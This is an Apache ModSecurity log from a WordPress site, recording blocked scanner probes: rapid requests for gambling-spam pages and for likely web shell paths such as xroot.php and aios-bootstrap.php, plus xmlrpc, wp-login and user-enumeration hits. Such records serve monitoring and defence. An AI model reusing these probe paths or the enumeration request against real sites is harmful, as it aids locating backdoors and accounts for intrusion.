[Sat Apr 25 22:11:58.431080 2026] [:error] [pid 3212:tid 3230] [client 147.135.214.103:53692] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aezLrvg-28TY8_YLtUdMZQAAARA"]
[Sat Apr 25 22:12:26.988445 2026] [:error] [pid 3212:tid 3235] [client 147.135.214.103:53694] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aezLyvg-28TY8_YLtUdM1QAAARU"]
[Sat Apr 25 22:12:29.370195 2026] [:error] [pid 3212:tid 3236] [client 147.135.214.103:47902] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aezLzfg-28TY8_YLtUdM8gAAARY"]
[Sat Apr 25 22:12:31.794668 2026] [:error] [pid 3212:tid 3218] [client 147.135.214.103:47906] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aezLz_g-28TY8_YLtUdM-gAAAQQ"]
[Sat Apr 25 22:12:34.229684 2026] [:error] [pid 59897:tid 59944] [client 147.135.214.103:59408] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aezL0vBrrkdzpEbmK4eQgwAAAJE"]
[Sat Apr 25 22:12:36.730007 2026] [:error] [pid 59896:tid 59909] [client 147.135.214.103:59430] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aezL1LLLzhtkd-OXUgAF7wAAAEk"]
[Sat Apr 25 22:12:39.562152 2026] [:error] [pid 59896:tid 59907] [client 147.135.214.103:59432] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aezL17LLzhtkd-OXUgAGBgAAAEc"]
[Sat Apr 25 22:12:42.101655 2026] [:error] [pid 59896:tid 59906] [client 147.135.214.103:59456] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aezL2rLLzhtkd-OXUgAGGwAAAEY"]
[Sat Apr 25 22:12:44.552021 2026] [:error] [pid 59896:tid 59916] [client 147.135.214.103:46792] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aezL3LLLzhtkd-OXUgAGJQAAAFA"]
[Sat Apr 25 22:12:47.161367 2026] [:error] [pid 59896:tid 59902] [client 147.135.214.103:46818] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aezL37LLzhtkd-OXUgAGLAAAAEI"]
[Sat Apr 25 22:12:50.170746 2026] [:error] [pid 59896:tid 59911] [client 147.135.214.103:46846] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aezL4rLLzhtkd-OXUgAGNwAAAEs"]
[Sat Apr 25 22:12:53.064551 2026] [:error] [pid 3212:tid 3238] [client 147.135.214.103:46850] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aezL5fg-28TY8_YLtUdNMwAAARg"]
[Sat Apr 25 22:12:56.279736 2026] [:error] [pid 59898:tid 59957] [client 147.135.214.103:52132] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aezL6B-4vImxb0kbdze1MQAAAMM"]
[Sat Apr 25 22:13:00.205747 2026] [:error] [pid 59898:tid 59962] [client 147.135.214.103:52146] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aezL7B-4vImxb0kbdze1NgAAAMg"]
[Sat Apr 25 22:13:04.076916 2026] [:error] [pid 59985:tid 59990] [client 147.135.214.103:52162] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aezL8AF_zDvEhKvyTH7AAAAAAAM"]
[Sat Apr 25 22:13:09.332336 2026] [:error] [pid 59898:tid 59976] [client 147.135.214.103:42454] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aezL9R-4vImxb0kbdze1PgAAANY"]
[Sat Apr 25 22:13:12.772039 2026] [:error] [pid 3212:tid 3236] [client 147.135.214.103:42464] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aezL-Pg-28TY8_YLtUdNSQAAARY"]
[Sat Apr 25 22:13:19.083229 2026] [:error] [pid 59897:tid 59944] [client 147.135.214.103:36428] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aezL__BrrkdzpEbmK4eQ4gAAAJE"]
[Sat Apr 25 22:14:05.737140 2026] [:error] [pid 59896:tid 59909] [client 147.135.214.103:53210] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aezMLbLLzhtkd-OXUgAHTQAAAEk"]
[Sat Apr 25 22:14:09.882207 2026] [:error] [pid 59896:tid 59905] [client 147.135.214.103:41864] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aezMMbLLzhtkd-OXUgAHXgAAAEU"]
[Sat Apr 25 22:14:12.873556 2026] [:error] [pid 3212:tid 3226] [client 147.135.214.103:41880] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aezMNPg-28TY8_YLtUdNngAAAQw"]
[Sat Apr 25 23:13:46.956631 2026] [:error] [pid 3212:tid 3219] [client 101.32.208.70:34898] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aezaKvg-28TY8_YLtUdt7wAAAQU"]
[Sat Apr 25 23:16:48.654163 2026] [:error] [pid 59896:tid 59901] [client 101.32.208.70:60784] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeza4LLLzhtkd-OXUgAdAAAAAEE"]
[Sat Apr 25 23:30:46.763402 2026] [:error] [pid 59898:tid 59959] [client 185.246.190.83:34590] [client 185.246.190.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.190.83, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aezeJh-4vImxb0kbdzfEOwAAAMU"], referer: https://www.google.com/
[Sat Apr 25 23:30:50.941171 2026] [:error] [pid 59985:tid 60001] [client 185.246.190.83:34606] [client 185.246.190.83] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aezeKgF_zDvEhKvyTH7XKQAAAA4"]
[Sun Apr 26 02:01:13.929295 2026] [:error] [pid 59897:tid 59933] [client 46.182.4.125:33167] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.182.4.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae0BafBrrkdzpEbmK4fJawAAAIY"]
[Sun Apr 26 02:18:06.568526 2026] [:error] [pid 3212:tid 3228] [client 94.247.172.129:6701] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae0FXvg-28TY8_YLtUfaswAAAQ4"]
[Sun Apr 26 02:38:03.335826 2026] [:error] [pid 59896:tid 59905] [client 177.251.30.178:52778] [client 177.251.30.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.251.30.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ae0KC7LLzhtkd-OXUgBu4QAAAEU"]
[Sun Apr 26 05:51:53.577793 2026] [:error] [pid 10315:tid 10324] [client 43.138.68.113:39040] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae03eaJIw2vjkleLIaCYaAAAAQc"]
[Sun Apr 26 07:43:33.334833 2026] [:error] [pid 16515:tid 16534] [client 158.158.100.177:9223] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ae1RpVtDrUmgHSvpuLzM-wAAAlA"]
[Sun Apr 26 07:43:35.036050 2026] [:error] [pid 22573:tid 22627] [client 158.158.100.177:20929] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ae1Rp3B3EmQlD4yKUt8mMgAAAZQ"]
[Sun Apr 26 07:43:36.093626 2026] [:error] [pid 8383:tid 8400] [client 158.158.100.177:24183] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ae1RqNFa2S3EsATMdWPQwwAAAAM"]
[Sun Apr 26 07:43:36.933209 2026] [:error] [pid 16515:tid 16521] [client 158.158.100.177:24153] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "ae1RqFtDrUmgHSvpuLzM_wAAAkM"]
[Sun Apr 26 07:43:39.980138 2026] [:error] [pid 8390:tid 8460] [client 158.158.100.177:24945] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ae1Rq4GPtFK_i9p5yxQt6AAAAIk"]
[Sun Apr 26 07:43:42.770452 2026] [:error] [pid 13137:tid 13159] [client 158.158.100.177:21015] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ae1Rrt0RB4J0o4h5neHnnQAAAhI"]
[Sun Apr 26 07:43:44.772265 2026] [:error] [pid 8385:tid 8447] [client 158.158.100.177:24774] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ae1RsDOy7_J84Wx3-ox0BQAAAFc"]
[Sun Apr 26 07:43:48.444652 2026] [:error] [pid 8390:tid 8452] [client 158.158.100.177:24182] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ae1RtIGPtFK_i9p5yxQt8AAAAIE"]
[Sun Apr 26 07:43:52.348065 2026] [:error] [pid 16515:tid 16527] [client 158.158.100.177:14720] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "ae1RuFtDrUmgHSvpuLzNBwAAAkk"]
[Sun Apr 26 07:43:53.477836 2026] [:error] [pid 8491:tid 8503] [client 158.158.100.177:19509] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "ae1RuSq7I7e6CJooQM2saAAAAMQ"]
[Sun Apr 26 07:43:54.656763 2026] [:error] [pid 8390:tid 8473] [client 158.158.100.177:24133] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "ae1RuoGPtFK_i9p5yxQt_QAAAJY"]
[Sun Apr 26 07:43:55.964913 2026] [:error] [pid 8383:tid 8414] [client 158.158.100.177:58442] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "ae1Ru9Fa2S3EsATMdWPQ0AAAABE"]
[Sun Apr 26 07:43:57.259996 2026] [:error] [pid 8390:tid 8460] [client 158.158.100.177:7220] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "ae1RvYGPtFK_i9p5yxQuAwAAAIk"]
[Sun Apr 26 07:43:59.707645 2026] [:error] [pid 8390:tid 8455] [client 158.158.100.177:14090] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "ae1Rv4GPtFK_i9p5yxQuDQAAAIQ"]
[Sun Apr 26 07:44:01.185032 2026] [:error] [pid 22573:tid 22625] [client 158.158.100.177:14120] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "ae1RwXB3EmQlD4yKUt8mTQAAAZI"]
[Sun Apr 26 07:44:02.513248 2026] [:error] [pid 22573:tid 22612] [client 158.158.100.177:13494] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "ae1RwnB3EmQlD4yKUt8mWQAAAYY"]
[Sun Apr 26 07:44:08.107603 2026] [:error] [pid 13137:tid 13141] [client 158.158.100.177:11024] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "ae1RyN0RB4J0o4h5neHnrAAAAgE"]
[Sun Apr 26 07:44:08.903669 2026] [:error] [pid 13137:tid 13160] [client 158.158.100.177:11039] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "ae1RyN0RB4J0o4h5neHnrQAAAhM"]
[Sun Apr 26 07:44:09.962421 2026] [:error] [pid 8491:tid 8523] [client 158.158.100.177:9007] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "ae1RySq7I7e6CJooQM2sdgAAANc"]
[Sun Apr 26 07:44:11.684325 2026] [:error] [pid 22573:tid 22630] [client 158.158.100.177:8973] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "ae1Ry3B3EmQlD4yKUt8mZgAAAZc"]
[Sun Apr 26 07:44:12.879518 2026] [:error] [pid 8385:tid 8444] [client 158.158.100.177:1382] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ae1RzDOy7_J84Wx3-ox0IwAAAFQ"]
[Sun Apr 26 07:44:14.657406 2026] [:error] [pid 22573:tid 22624] [client 158.158.100.177:17291] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ae1RznB3EmQlD4yKUt8maQAAAZE"]
[Sun Apr 26 07:44:15.450633 2026] [:error] [pid 13137:tid 13152] [client 158.158.100.177:17310] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ae1Rz90RB4J0o4h5neHnsAAAAgs"]
[Sun Apr 26 07:44:16.955301 2026] [:error] [pid 13137:tid 13157] [client 158.158.100.177:56107] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "ae1R0N0RB4J0o4h5neHntgAAAhA"]
[Sun Apr 26 07:44:19.180223 2026] [:error] [pid 13137:tid 13145] [client 158.158.100.177:17300] [client 158.158.100.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "ae1R090RB4J0o4h5neHnvwAAAgU"]
